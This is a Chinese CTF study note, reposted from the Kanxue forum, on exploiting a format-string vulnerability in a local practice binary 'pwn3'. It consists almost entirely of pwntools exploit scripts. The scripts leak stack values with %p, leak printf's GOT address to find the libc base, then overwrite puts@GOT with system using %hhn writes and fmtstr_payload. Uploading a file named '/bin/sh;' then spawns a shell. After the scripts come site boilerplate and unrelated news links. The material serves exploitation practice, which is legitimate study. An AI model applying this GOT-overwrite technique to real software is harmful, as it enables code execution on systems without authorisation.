PWN学习笔记【格式化字符串漏洞练习】

本文为看雪论坛优秀文章
看雪论坛作者ID:洋洋不得意

from pwn import *
# context.log_level = 'debug'
sh = process("./pwn3")
sh.recvuntil(b"Name (ftp.hacker.server:Rainism):")
sh.sendline(b"rxraclhm")
def put():
sh.recvuntil(b"ftp>")
sh.sendline(b"put")
sh.recvuntil(b"please enter the name of the file you want to upload:")
sh.sendline(b"aaa")
sh.recvuntil(b"then, enter the content:")
sh.sendline(b'AAAA..%p..%p..%p..%p..%p..%p..%p..%p')
def get():
sh.recvuntil(b"ftp>")
sh.sendline(b"get")
sh.recvuntil(b"enter the file name you want to get:")
sh.sendline(b"aaa")
put()
get()
print(sh.recv())
sh.interactive()

def put():
sh.recvuntil(b"ftp>")
sh.sendline(b"put")
sh.recvuntil(b"please enter the name of the file you want to upload:")
sh.sendline(b"aaa")
sh.recvuntil(b"then, enter the content:")
sh.sendline(b'AAAA%7$p')


from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug'
elf = ELF("./pwn3")
sh = process("./pwn3")#gdb.debug("./pwn3", "b *show_dir")
sh.recvuntil(b"Name (ftp.hacker.server:Rainism):")
sh.sendline(b"rxraclhm")
def put(file_name, file_content):
sh.recvuntil(b"ftp>")
sh.sendline(b"put")
sh.recvuntil(b"please enter the name of the file you want to upload:")
sh.sendline(file_name)
sh.recvuntil(b"then, enter the content:")
sh.sendline(file_content)
def get(file_name):
sh.recvuntil(b"ftp>")
sh.sendline(b"get")
sh.recvuntil(b"enter the file name you want to get:")
sh.sendline(file_name)
def dir():
sh.recvuntil(b"ftp>")
sh.sendline(b"dir")
def leakage_function_addr(got_addr):
put(b'get_addr', b'%8$s' + p32(got_addr))
get(b'get_addr')
function_addr = u32(sh.recv(4))
return function_addr
def compute_order_32(target):
print("target=%x"%target)
dic = {}
for i in range(4):
x = (target >> (i * 8))
x &= 0xff
dic[i] = x
ls = list(dic.items())
ls.sort(key=lambda x:x[1])
return ls
def hack(addr, value, offset_start):
list_of_value = compute_order_32(value)
print(list_of_value)
payload = flat([
p32(addr + 0),
p32(addr + 1),
p32(addr + 2),
p32(addr + 3)
])
total_char = 16
for it in list_of_value:
curr_char = it[1] - total_char
total_char += curr_char
payload += b"%" + str(curr_char).encode() + b"c%" + str(offset_start + it[0]).encode() + b"$hhn"
print("addr=%x"%addr)
debug(payload)
put(b'hack', payload)
get(b'hack')
printf_addr = leakage_function_addr(elf.got['printf'])
print("function_addr=0x%x" %printf_addr)
libc = LibcSearcher("printf", printf_addr)
libcBase = printf_addr - libc.dump('printf')
print("libcBase=%x" %libcBase)
system_addr = libcBase + libc.dump('system')
print("system_addr=%x" %system_addr)
hack(elf.got['puts'], system_addr, 7)
put(b'/bin/sh;', b'get shell')
dir()
sh.interactive()
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug'
elf = ELF("./pwn3")
sh = process("./pwn3")#gdb.debug("./pwn3", "b *show_dir")#, "b *get_file"
sh.recvuntil(b"Name (ftp.hacker.server:Rainism):")
sh.sendline(b"rxraclhm")
def put(file_name, file_content):
sh.recvuntil(b"ftp>")
sh.sendline(b"put")
sh.recvuntil(b"please enter the name of the file you want to upload:")
sh.sendline(file_name)
sh.recvuntil(b"then, enter the content:")
sh.sendline(file_content)
def get(file_name):
sh.recvuntil(b"ftp>")
sh.sendline(b"get")
sh.recvuntil(b"enter the file name you want to get:")
sh.sendline(file_name)
def dir():
sh.recvuntil(b"ftp>")
sh.sendline(b"dir")
def leakage_function_addr(got_addr):
put(b'get_addr', b'%8$s' + p32(got_addr))
get(b'get_addr')
function_addr = u32(sh.recv(4))
return function_addr
def hack(addr, value, offset_start):
payload = fmtstr_payload(7, {addr: value})
debug(payload)
put(b'hack', payload)
get(b'hack')
printf_addr = leakage_function_addr(elf.got['printf'])
print("function_addr=0x%x" %printf_addr)
libc = LibcSearcher("printf", printf_addr)
libcBase = printf_addr - libc.dump('printf')
print("libcBase=%x" %libcBase)
system_addr = libcBase + libc.dump('system')
print("system_addr=%x" %system_addr)
hack(elf.got['puts'], system_addr, 7)
put(b'/bin/sh;', b'get shell')
dir()
sh.interactive()



看雪ID:洋洋不得意
https://bbs.pediy.com/user-home-861996.htm
# 往期推荐


球分享

球点赞

球在看

点击“阅读原文”,了解更多!
[广告]赞助链接:
关注数据与安全,洞悉企业级服务市场:https://www.ijiandao.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

随时掌握互联网精彩
- 微软重大更新!Windows on Arm能玩更多游戏了
- AppNode开放正在运行的进程使用的端口
- 火影忍者情报社在哪看?
- 【上新】实战能力UP!从基础到入门,轻松掌握 CVE 复现技能
- 程序员靠“作弊”入职,“面试替身”每小时收费 150 美元,结果还是大翻车......
- 历史上的今天:苹果电脑之父诞生;阿里巴巴收购雅虎中国;OpenAI 击败电竞世界冠军
- “头疼”的俄罗斯开发者:不要再买我的软件了,收入不能提现啊!
- 高通公司、宝马集团和Arriver达成长期战略合作,共同开发自动驾驶软件解决方案
- 一文看懂Python学习路径!
- Apple Car 还没问世,苹果已先将 iPhone 拉入汽车战场?
- 取代树莓派,这 9 款系统基础芯片跃跃欲试!
- 用三张图看透 I/O,学习区分同异步阻塞
赞助链接